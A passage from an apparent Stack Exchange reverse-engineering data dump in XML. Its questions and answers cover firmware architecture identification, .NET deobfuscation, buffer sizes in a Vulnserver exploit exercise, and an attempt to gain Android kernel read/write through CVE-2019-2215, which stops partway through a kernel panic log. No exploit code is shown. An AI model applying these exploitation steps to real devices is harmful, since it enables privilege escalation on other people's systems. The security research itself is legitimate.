LastActivityDate="2020-08-19T14:08:02.847" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25695" PostTypeId="1" CreationDate="2020-08-18T23:36:31.177" Score="1" ViewCount="2199" Body="&lt;p&gt;I have extracted the ELF file from the flash dump of a printer, I cannot find too much information about the SoC chip on the printer. What's the best practice to determine the ARM architecture (ARMv7-R, ARMv7-M, ARMv7-A) from the ELF file? It would be even better if I can figure out the ARM core type. I suppose I can look for some patterns or some specific instructions to make an informed guess, but I don't really have any idea.&lt;/p&gt;&#xA;&lt;p&gt;The ELF file contained in the flash dump is compressed and somewhat non-standard, I actually decompressed it, did some modifications, and added the program header table by myself.&lt;/p&gt;&#xA;&lt;p&gt;I know tools like readelf and binwalk -A, but what I want to know is not a very broad ARM32 or ARM64 categorization but the specific ARM architecture, or even better, the specific ARM core type. Because I am not even sure if the chip used on the printer is an ARM Cortex A/R or M series. I cannot find a Linux on the printer, so it's probably not a Cortex-A.&lt;/p&gt;&#xA;" OwnerUserId="34171" LastEditorUserId="34171" LastEditDate="2020-08-19T00:08:55.340" LastActivityDate="2020-08-19T15:54:36.643" Title="How to determine ARM architecture from the ELF file extracted from the firmware?" Tags="|disassembly|firmware|arm|disassemblers|firmware-analysis|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25696" PostTypeId="2" ParentId="25695" CreationDate="2020-08-18T23:42:59.553" Score="0" Body="&lt;p&gt;The ELF header should contain information about the target architecture. You can use the Unix utility &lt;code&gt;file&lt;/code&gt; to possibly obtain some basic information about the file, and &lt;code&gt;readelf -h&lt;/code&gt; should give you most everything that is there.&lt;/p&gt;&#xA;&lt;p&gt;If for some reason that isn't helpful, I suppose you could try disassembling against different architectures until it produces something readable.&lt;/p&gt;&#xA;" OwnerUserId="24222" LastActivityDate="2020-08-18T23:42:59.553" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25697" PostTypeId="2" ParentId="17262" CreationDate="2020-08-18T23:55:38.287" Score="3" Body="&lt;p&gt;The original answer I posted in 2018 is somewhat out of date now. There are 2 tools that have been released in the meantime that can help with understanding what is in a binary file. One tool, &lt;a href=&quot;https://github.com/kairis/isadetect&quot; rel=&quot;nofollow noreferrer&quot;&gt;ISAdetect&lt;/a&gt;, focuses specifically on identifying the CPU the code in an executable binary targets. It accomplishes this using machine learning.&lt;/p&gt;&#xA;&lt;p&gt;Another tool, &lt;a href=&quot;https://github.com/BinaryResearch/centrifuge-toolkit&quot; rel=&quot;nofollow noreferrer&quot;&gt;Centrifuge&lt;/a&gt;, also uses machine learning, but does not focus on machine code specifically. Rather, this tool was designed to help an analyst identify what kinds of data are encoded in binary files (full disclosure, I am the creator of this tool). To that end, it provides many functions for visualizing the data in a binary file using Python plotting libraries, and finds clusters of statistically-similar data by using scikit-learn's implementation of the &lt;a href=&quot;https://scikit-learn.org/stable/modules/clustering.html#dbscan&quot; rel=&quot;nofollow noreferrer&quot;&gt;DBSCAN&lt;/a&gt; algorithm. Centrifuge also uses ISAdetect's web API to identify any machine code found in a binary file.&lt;/p&gt;&#xA;&lt;p&gt;Here are some examples of visualizations Centrifuge can create from data in a binary file:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hauIM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hauIM.png&quot; alt=&quot;readelf clusters&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/puVwo.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/puVwo.png&quot; alt=&quot;firmware machine code&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Q4IkM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q4IkM.png&quot; alt=&quot;AVR clusters boxplot&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;As you can see from these images, the approach taken by the tool is statistical. It is through statistical analysis of the data in a file that Centrifuge is able to identify what types of data may be present. At time of writing, 3 different data types can be identified: machine code, UTF-english, and compression/encryption.&lt;/p&gt;&#xA;&lt;p&gt;As an example of this, here is the output for a firmware binary analyzed by Centrifuge:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Searching for machine code&#xA;--------------------------------------------------------------------&#xA;&#xA;[+] Checking Cluster 0 for possible match&#xA;[+] Closely matching CPU architecture reference(s) found for Cluster 0&#xA;[+] Sending sample to https://isadetect.com/&#xA;[+] response:&#xA;&#xA;{&#xA;    &amp;quot;prediction&amp;quot;: {&#xA;        &amp;quot;architecture&amp;quot;: &amp;quot;mips&amp;quot;,&#xA;        &amp;quot;endianness&amp;quot;: &amp;quot;little&amp;quot;,&#xA;        &amp;quot;wordsize&amp;quot;: 32&#xA;    },&#xA;    &amp;quot;prediction_probability&amp;quot;: 0.93&#xA;}&#xA;&#xA;&#xA;Searching for utf8-english data&#xA;-------------------------------------------------------------------&#xA;&#xA;[+] UTF-8 (english) detected in Cluster 1&#xA;    Wasserstein distance to reference: 7.861589780632858&#xA;&#xA;&#xA;Searching for high entropy data&#xA;-------------------------------------------------------------------&#xA;&#xA;[+] High entropy data found in Cluster 2&#xA;    Wasserstein distance to reference: 0.4625352842771307&#xA;[*] This distance suggests the data in this cluster could be&#xA;    a) encrypted&#xA;    b) compressed via LZMA with maximum compression level&#xA;    c) something else that is random or close to random.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;For context, here is a visualization of the information of the same binary:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tY7Hj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tY7Hj.png&quot; alt=&quot;firmware clusters&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;For those who are interested, here is a notebook explaining how to use it: &lt;a href=&quot;https://github.com/BinaryResearch/centrifuge-toolkit/blob/master/notebooks/Introduction%20to%20Centrifuge.ipynb&quot; rel=&quot;nofollow noreferrer&quot;&gt;Introduction to Centrifuge&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2020-08-18T23:55:38.287" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25699" PostTypeId="2" ParentId="25689" CreationDate="2020-08-19T07:12:40.097" Score="1" Body="&lt;p&gt;There are two major differences between a web page loaded via web browser and via script:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;While loading the web page a web browser also loads linked resources like scripts, images, css files, ... This can be recognized on server side.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A web browser not just downloads the web page but also executed the contained JavaScript. From within JavaScript additional resources can be loaded or special calculations can be performed and the result can be sent back to the web server.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;For web pages that are loaded via HTTPS there are additional values (TLS extensions, the list of available TLS version(s) and cipher suites, ...) in the TLS protocol that allow to perform some sort of web browser fingerprinting on TLS level.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Last but not least there are scripts such as Google Recaptcha v3 available that use JavaScript for detecting web-browsers and human interaction.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;All those measures together can be combined to perform a robot/script detection on server side.&lt;/p&gt;&#xA;" OwnerUserId="1848" LastActivityDate="2020-08-19T07:12:40.097" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25700" PostTypeId="2" ParentId="25695" CreationDate="2020-08-19T08:52:41.963" Score="2" Body="&lt;p&gt;There's a few other options can help you narrow down the specific architecture / core / SoC.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Identify which combinations of ARM/THUMB16/THUMB32 instructions it contains.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Look at disassembly to identify the offsets of key memory regions (code, data, flash etc)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Similarly, SoCs tend to have memory mapped peripherals. Identifying what's being accessed here can help.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Look at disassembly for MRS and MSR instructions - many special registers are core specific.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open the printer up and look at the PCB to visually ID the chip. (Or google image search for printer make/model PCB.)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4731" LastEditorUserId="4731" LastEditDate="2020-08-19T15:54:36.643" LastActivityDate="2020-08-19T15:54:36.643" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25702" PostTypeId="1" CreationDate="2020-08-19T15:24:05.803" Score="0" ViewCount="207" Body="&lt;p&gt;I was wondering if there is some way to get information about buffer size via reversing the binary, created in C language. can we also know how many buffers we have created while writing that script.&#xA;I am doing Vulserver Excercise. check it out here on this article--&amp;gt; [Article][1]&lt;/p&gt;&#xA;&lt;p&gt;want to know if the commands have buffer size to store given arguments.&#xA;[1]: &lt;a href=&quot;https://captmeelo.com/exploitdev/osceprep/2018/06/28/vulnserver-gter.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://captmeelo.com/exploitdev/osceprep/2018/06/28/vulnserver-gter.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="33863" LastEditorUserId="33863" LastEditDate="2020-08-20T04:13:19.860" LastActivityDate="2020-08-20T04:13:19.860" Title="Buffer space in C" Tags="|disassembly|c|buffer-overflow|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25703" PostTypeId="1" CreationDate="2020-08-19T15:34:33.190" Score="1" ViewCount="308" Body="&lt;p&gt;I have encountered this twice recently where I am trying to list the external symbols for an iOS mach-o binary and none of the tools can provide any output.  The following is an example of the output from jtool:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;jtool -S BinaryName -arch arm64&#xA;             U &#xA;             U &#xA;             U &#xA;             U &#xA;             U &#xA;             U &#xA;             U &#xA;             U &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This particular binary was a fat binary hence having to pass it the arch but I also tried thinning it and running the command on just the arm64.  The previous binary I had encountered this was not a fat binary though. Unfortunately I can't actually share either of the binaries, which I appreciate makes it harder to answer, as they are from a client.&lt;/p&gt;&#xA;&lt;p&gt;I thought I had a reasonable understanding of the mach-o format although very inexperienced reversing.&lt;/p&gt;&#xA;&lt;p&gt;I don't know if this is a trick I'm not aware of, how are these symbols resolved at runtime if they can't be parsed by any of these tools?  Is there a way to &amp;quot;undo&amp;quot; this and list the symbols normally without running the binary?&lt;/p&gt;&#xA;" OwnerUserId="24343" LastActivityDate="2021-06-23T15:40:22.823" Title="otool , nm, dsdump and jtool not able to list mach-o binary's symbols" Tags="|symbols|mach-o|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25704" PostTypeId="2" ParentId="25590" CreationDate="2020-08-19T16:46:37.703" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;it is surprising that HYDRAS 3 does not allow you to export data at least in csv format.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;monitor-file is a log file not so interesting&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2&gt;all data you needs are in the read-file&#xA;I quickly adapted an html file, which I use to extract my data from a text file, to your read-file.&#xA;It draws a curve of your data.&#xA;The ERR.05 ERR.10 value are replaced by the value 0.000&#xA;If it can help you, here it is:&lt;/h2&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html PUBLIC &amp;quot;-//W3C//DTD HTML 4.01 Transitional//EN&amp;quot;&amp;gt;&#xA;&amp;lt;html&amp;gt;&#xA;    &#xA;    &amp;lt;head&amp;gt;&#xA;        &amp;lt;META content=&amp;quot;text/html; charset=ISO-8859-2&amp;quot; http-equiv=&amp;quot;content-type&amp;quot;&amp;gt;&#xA;        &amp;lt;script src=&amp;quot;https://cdnjs.cloudflare.com/ajax/libs/dygraph/2.1.0/dygraph.min.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;        &amp;lt;link rel=&amp;quot;stylesheet&amp;quot; href=&amp;quot;https://cdnjs.cloudflare.com/ajax/libs/dygraph/2.1.0/dygraph.min.css&amp;quot; /&amp;gt;&#xA;        &#xA;        &amp;lt;title&amp;gt;extract data from text file&amp;lt;/title&amp;gt;&#xA;    &amp;lt;/head&amp;gt;&#xA;    &#xA;    &amp;lt;body&amp;gt;&#xA;        &#xA;        &amp;lt;div id=&amp;quot;wrap&amp;quot;&amp;gt;&#xA;            &amp;lt;div id=&amp;quot;header&amp;quot;&amp;gt;&#xA;                &#xA;                &amp;lt;div id=&amp;quot;main&amp;quot;&amp;gt;&#xA;                    &#xA;                    &amp;lt;h1&amp;gt;extract data from text file (read-file.txt HYDRAS 3)&amp;lt;/h1&amp;gt;&#xA;                    &amp;lt;p&amp;gt;Nota: &amp;lt;BR&amp;gt;&#xA;                        Adapt to your needs in the function parseFile &amp;lt;BR&amp;gt;&#xA;                        &amp;lt;BR&amp;gt;&#xA;                    &amp;lt;/p&amp;gt;&#xA;                    &#xA;                    &amp;lt;form name=&amp;quot;frmParse&amp;quot; action=&amp;quot;&amp;quot;&amp;gt;&#xA;                        &amp;lt;p&amp;gt;&#xA;                            File:&#xA;                            &amp;lt;input type=&amp;quot;file&amp;quot; name=&amp;quot;fileinput&amp;quot; onchange='openFile(event)' /&amp;gt;&#xA;                        &amp;lt;/p&amp;gt;&#xA;                        &#xA;                        &amp;lt;p&amp;gt;Output:&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;p&amp;gt;&#xA;                            &amp;lt;textarea name=&amp;quot;ed_output&amp;quot; rows=&amp;quot;10&amp;quot; cols=&amp;quot;87&amp;quot; style=&amp;quot;width: 700px;&amp;quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;                            &amp;lt;br&amp;gt;&#xA;                        &amp;lt;/p&amp;gt;&#xA;                    &amp;lt;/form&amp;gt;&#xA;                    &#xA;                &amp;lt;/div&amp;gt;&#xA;                &#xA;                &amp;lt;div id=&amp;quot;graphdiv2&amp;quot; style=&amp;quot;width: 100%; height: 100%;&amp;quot;&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &#xA;                &amp;lt;script type=&amp;quot;text/javascript&amp;quot;&amp;gt;&#xA;                    &amp;lt;!--&#xA;                    &#xA;                    document.frmParse.ed_output.value = &amp;quot;&amp;quot;;&#xA;                    var mytext=[];&#xA;                    var csv_data=[];&#xA;                    var csv_firstline=&amp;quot;time,value\n&amp;quot;;&#xA;                    String.prototype.beginsWith = function (string) {&#xA;                        return(this.indexOf(string) === 0);&#xA;                    };&#xA;                    &#xA;                    function parseFile() {&#xA;                        document.frmParse.ed_output.value = &amp;quot;&amp;quot;;&#xA;                        &#xA;                        var index = 0;&#xA;                        var newtext=csv_firstline;&#xA;                        var v1=&amp;quot;&amp;quot;;&#xA;                        var v2=&amp;quot;&amp;quot;;&#xA;                        var date=&amp;quot;&amp;quot;;&#xA;                        var newArray = [];&#xA;                        for (var i = 0; i &amp;lt; mytext.length -1 ; i++ ) {&#xA;                            if (mytext[i].includes(&amp;quot; Date:&amp;quot;)){ &#xA;                                v1=mytext[i].match(/\d\d\/\d\d\/\d\d\d\d/g);&#xA;                                date=(moveLastArrayElementToFirstIndex(v1.toString().split(&amp;quot;/&amp;quot;))).join('-') ;// date mm/dd/yyyy become yyyy-mm-dd&#xA;                            }&#xA;                            if (mytext[i].includes(&amp;quot;.&amp;quot;)){ &#xA;                                v2=mytext[i].match(/ (.*\..*) /g);&#xA;                                if (v2!=null){&#xA;                                    var time=mytext[i].match(/\((\d\d:\d\d:\d\d)\)/g).toString().replace(/[()]/g, '');&#xA;                                    var txt=date +&amp;quot;T&amp;quot; +time.toString() +&amp;quot;Z,&amp;quot; + v2.toString().trim().replace(/(Err.\d\d)/g, '0.000');//Err. value become 0.000&#xA;                                    newtext+=txt +&amp;quot;\n&amp;quot;;&#xA;                                    newArray.push(txt);&#xA;                                }&#xA;                            }&#xA;                            &#xA;                        }&#xA;                        document.frmParse.ed_output.value = newtext;&#xA;                        csv_data=newArray.join(&amp;quot;\n&amp;quot;);&#xA;                        processData();&#xA;                    }&#xA;                    &#xA;                    //graph csv with Dygraph&#xA;                    function processData() {&#xA;                        g2 = new Dygraph(&#xA;                        document.getElementById(&amp;quot;graphdiv2&amp;quot;),&#xA;                        csv_data,&#xA;                        {&#xA;                            xlabel: &amp;quot; &amp;quot;,&#xA;                            ylabel: &amp;quot; &amp;quot;,&#xA;                            title: csv_firstline,&#xA;                            showRangeSelector: true,&#xA;                            rangeSelectorHeight: 30,&#xA;                            rangeSelectorPlotStrokeColor: 'black',&#xA;                            rangeSelectorPlotFillColor: 'grey'&#xA;                        }&#xA;                        );&#xA;                    }&#xA;                    &#xA;                    &#xA;                    //Moves last element in an array to the front&#xA;                    function moveLastArrayElementToFirstIndex(this_array) {&#xA;                        var new_array = new Array();&#xA;                        new_array[0] = this_array[this_array.length-1]; //first element is last element    &#xA;                        for(var i=1;i&amp;lt;this_array.length;i++) { //subsequent elements start at 1&#xA;                            new_array[i] = this_array[i-1];&#xA;                        }&#xA;                        return new_array;&#xA;                    }&#xA;                    &#xA;                    &#xA;                    function readAsText(file) {&#xA;                        var reader = new FileReader();&#xA;                        reader.onload = function() {&#xA;                            mytext = reader.result.split(&amp;quot;\n&amp;quot;);&#xA;                            document.frmParse.ed_output.value = &amp;quot;&amp;quot;;&#xA;                            parseFile();&#xA;                        };&#xA;                        reader.readAsText(file);&#xA;                    }&#xA;                    &#xA;                    &#xA;                    var openFile = function(event) {&#xA;                        document.frmParse.ed_output.value = &amp;quot;&amp;quot;;&#xA;                        var input = event.target;&#xA;                        readAsText(input.files[0]);&#xA;                    };&#xA;                    &#xA;                    function clearFileInput(){&#xA;                        document.frmParse.fileinput.value = &amp;quot;&amp;quot;;&#xA;                    }&#xA;                    &#xA;                    &#xA;                &amp;lt;/script&amp;gt;&#xA;                &#xA;            &amp;lt;/body&amp;gt;&#xA;        &amp;lt;/html&amp;gt;&#xA;&#xA;&#xA;    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="34077" LastEditorUserId="34077" LastEditDate="2020-08-19T16:55:47.110" LastActivityDate="2020-08-19T16:55:47.110" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25705" PostTypeId="1" CreationDate="2020-08-19T17:22:14.510" Score="5" ViewCount="14359" Body="&lt;p&gt;&lt;strong&gt;Hello,&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I am having an exe file that I am trying to deobfuscate and debug using dnspy. The exe file was written in C# and obfuscated with unknown deobfuscate according to de4dot! I tried to all my known methods to procced but still I was not able to fully deobfusticated it.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;Analysing the File&lt;/h1&gt;&#xA;&lt;h2&gt;- Exeinfo PE&lt;/h2&gt;&#xA;&lt;p&gt;&lt;strong&gt;I tried to analysie the file with exeinfope to check which obfustactor was used but I only got [obfus/crypted].&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 [ Obfus/Crypted- StrongName set ]  - EP Token : 06000080 ,&#xA;Overlay : 403900... Nothing discovered&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gJILN.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gJILN.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2&gt;- Dnspy&lt;/h2&gt;&#xA;&lt;p&gt;Opening the file in dnspy but the code wasn't readable, especially the methods and the functions name are in unicode form.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/I9o9g.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/I9o9g.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;My Attempts:&lt;/h1&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Tried to deobfustace the file with de4dot, but I get &amp;quot;Detected Unknown Obfuscator&amp;quot; followed by an error.&lt;/li&gt;&#xA;&lt;li&gt;Tried a modded version of de4dot, and I was able to deobfustacte the exe,but all functions shown as &amp;quot;delegate&amp;quot;. The exe file was detected as &amp;quot;Unkown Obfustactor&amp;quot; as well, but managed to cleaned it.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/y4mIY.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/y4mIY.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Tried to debug the cleaned verison but when I start dnspy I get an exception (System.NullReferenceException)&#xA;&lt;a href=&quot;https://i.stack.imgur.com/yf8pw.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yf8pw.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;My Questions:&lt;/h1&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Which obfustactor was used ?&lt;/li&gt;&#xA;&lt;li&gt;Why all functions are defined as &amp;quot;delgate&amp;quot;?&lt;/li&gt;&#xA;&lt;li&gt;Why did I get the null exception while debugging&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Thanks...&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;UPDATE 20/08/2020&lt;/h1&gt;&#xA;&lt;p&gt;While looking through the code, I found that all &amp;quot;delegate&amp;quot; calls are referred to a function which takes an intger but I couldn't find any obvious return from this function, what I do think it returns the function and method name but... HOW!!&#xA;&lt;a href=&quot;https://i.stack.imgur.com/oB5Oj.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oB5Oj.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0KobZ.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0KobZ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14881" LastEditorUserId="14881" LastEditDate="2020-08-20T20:23:58.553" LastActivityDate="2022-04-27T07:36:11.747" Title="Deobfuscating Unknown C# obfuscator?" Tags="|deobfuscation|.net|c#|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="25706" PostTypeId="2" ParentId="25702" CreationDate="2020-08-19T17:25:03.003" Score="1" Body="&lt;p&gt;Buffers on the heap are usually easy to spot. Just look for calls to &lt;code&gt;malloc&lt;/code&gt; and similar functions, and find the corresponding argument for the buffer size.&lt;/p&gt;&#xA;&lt;p&gt;Buffers on the stack are a little harder to spot, but can often be identified. Usually, you can see the stack pointer address will be decremented to make room for the new buffer. This amount will sometimes not be the exact buffer size, but will be close.&lt;/p&gt;&#xA;" OwnerUserId="24222" LastActivityDate="2020-08-19T17:25:03.003" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25707" PostTypeId="1" CreationDate="2020-08-19T19:51:41.560" Score="0" ViewCount="440" Body="&lt;p&gt;I'm a little confused. I am using a Linux based system (Ubuntu), 64-bit. and I want to start and reverse &lt;code&gt;64elf&lt;/code&gt; binary files, but there is a lot of things I want to know before. just to be clear, If I have &lt;code&gt;64bit&lt;/code&gt; computer, I need to learn &lt;code&gt;x64&lt;/code&gt; assembly? What's the best assembler for my platform (I'm currently using &lt;code&gt;nasm&lt;/code&gt;)?&lt;/p&gt;&#xA;&lt;p&gt;The reason I'm asking that is because I don't want to learn assembly in the wrong way, which will not help me.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;By the way, is learning &lt;a href=&quot;https://www.youtube.com/playlist?list=PLetF-YjXm-sCH6FrTz4AQhfH6INDQvQSn&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;this&lt;/code&gt;&lt;/a&gt; tutorial is good for my platform?&lt;/p&gt;&#xA;" OwnerUserId="34181" LastActivityDate="2022-06-11T16:01:55.137" Title="What should I learn in order to reverse elf64 binary files" Tags="|assembly|binary-analysis|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25709" PostTypeId="2" ParentId="25707" CreationDate="2020-08-19T21:31:15.380" Score="0" Body="&lt;p&gt;Why do you need writing in assembly? In order to reverse engineer the microcode approach is a lot easier. The Ghidra tool supports outputting pcode for all the instructions, then you just read that along with decompiler output. Pcode for calling conventions, return addresses and such low level stuff; decompiler for anything else like further analysis of functions etc. Also pcode shows you what each assembly instruction means so you can reuse semantic information anywhere else if documentation is not clear for you or whatever you use for learning. As for binaries you usually don't choose in what language they're written (x86/MIPS/PowerPC/ARM), you don't actually need it nor this matters anything as pcode or what your RE tool uses is versatile and depends only on this tool used.&lt;/p&gt;&#xA;" OwnerUserId="34182" LastActivityDate="2020-08-19T21:31:15.380" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25710" PostTypeId="2" ParentId="25682" CreationDate="2020-08-19T22:28:52.687" Score="2" Body="&lt;p&gt;According to &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/ida74_idapython_python3.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;this article&lt;/a&gt; on the IDA website, you need IDA Pro 7.4 to use Python 3.&lt;/p&gt;&#xA;&lt;p&gt;Regarding version 7.4, the site says:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;When IDA 7.4 is released, it will come with precompiled builds of&#xA;IDAPython not only for Python 2.7, but also for a variety of Python&#xA;3.x versions (we haven't settled for a set of versions yet.) By default, IDA 7.4 will install IDAPython for Python 2.7, but users will&#xA;have the opportunity to pick an alternative build that runs against&#xA;their Python 3.x installation.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I have found &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/ida74_idapython_python3_porting_guide.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;this porting guide&lt;/a&gt; very useful. Using Python 3 with IDA 7.4 is great, and the new API is cleaner in many ways.&lt;/p&gt;&#xA;" OwnerUserId="3013" LastActivityDate="2020-08-19T22:28:52.687" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25711" PostTypeId="1" CreationDate="2020-08-20T03:06:56.500" Score="0" ViewCount="250" Body="&lt;p&gt;I'm playing with Android and I'm trying to gain r/w access to the whole memory using CVE-2019-2215. Long story short, you UAF a &lt;code&gt;binder_thread&lt;/code&gt; object and you can read from/write to kernel space.&lt;/p&gt;&#xA;&lt;p&gt;The first step, getting &lt;code&gt;task_struct&lt;/code&gt;, works as expected but overwriting &lt;code&gt;addr_limit&lt;/code&gt; doesn't. The error &lt;code&gt;Unable to handle kernel paging request at virtual address&lt;/code&gt; and the fact that other people on other devices can perform this makes me think there's something else behind that problem.&lt;/p&gt;&#xA;&lt;p&gt;I get this kernel panic:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[  400.258967] Unable to handle kernel paging request at virtual address fffffffffffffffe&#xA;[  400.258997] pgd = ffffffe55194e000&#xA;[  400.259007] [fffffffffffffffe] *pgd=00000000d194f003, *pud=00000000d194f003, *pmd=0000000000000000&#xA;[  400.259146] ------------[ cut here ]------------&#xA;[  400.259152] Kernel BUG at ffffff80e9b9cbc4 [verbose debug info unavailable]&#xA;[  400.259159] Internal error: Oops - BUG: 96000005 [#1] PREEMPT SMP&#xA;[  400.259167] Modules linked in: wlan(O) exfat(O)&#xA;[  400.259203] CPU: 2 PID: 6877 Comm: cve-2019-2215 Tainted: G        W  O    4.4.78-perf+ #1&#xA;[  400.259210] Hardware name: Qualcomm Technologies, Inc. SDM 636 PM660 + PM660L MTP E7S (DT)&#xA;[  400.259217] task: ffffffe5f84d0d80 ti: ffffffe551910000 task.ti: fffffffffffffffe&#xA;[  400.259235] PC is at n_tty_write+0x168/0x3e8&#xA;[  400.259242] LR is at n_tty_write+0xa4/0x3e8&#xA;[  400.259248] pc : [&amp;lt;ffffff80e9b9cbc4&amp;gt;] lr : [&amp;lt;ffffff80e9b9cb00&amp;gt;] pstate: 60400145&#xA;[  400.259253] sp : ffffffe551913c70&#xA;[  400.259258] x29: ffffffe551913c70 x28: ffffffe551910000 &#xA;[  400.259268] x27: ffffffe51f344230 x26: ffffff80ea687000 &#xA;[  400.259278] x25: ffffffe5dcdda200 x24: ffffffe51f341c00 &#xA;[  400.259287] x23: ffffffe51f3440d8 x22: ffffff80e96eb000 